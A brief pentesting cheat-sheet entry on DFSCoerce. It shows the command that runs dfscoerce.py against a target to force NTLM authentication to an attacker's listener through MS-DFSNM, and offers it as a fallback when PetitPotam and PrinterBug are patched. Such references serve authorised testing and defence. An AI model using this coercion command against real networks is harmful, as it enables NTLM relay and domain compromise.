DFSCoerce

python dfscoerce.py -u <user> -p '<pass>' -d <domain> <listener-ip> <target-ip>

Force NTLM authentication from a host to the listener via the DFS (Distributed File System) service.

When PetitPotam and PrinterBug are patched, DFSCoerce is an alternative that abuses MS-DFSNM to force authentication. Useful in environments where other vectors are mitigated.

If the DFS service is disabled or the host is not vulnerable. Also if the firewall blocks port 445.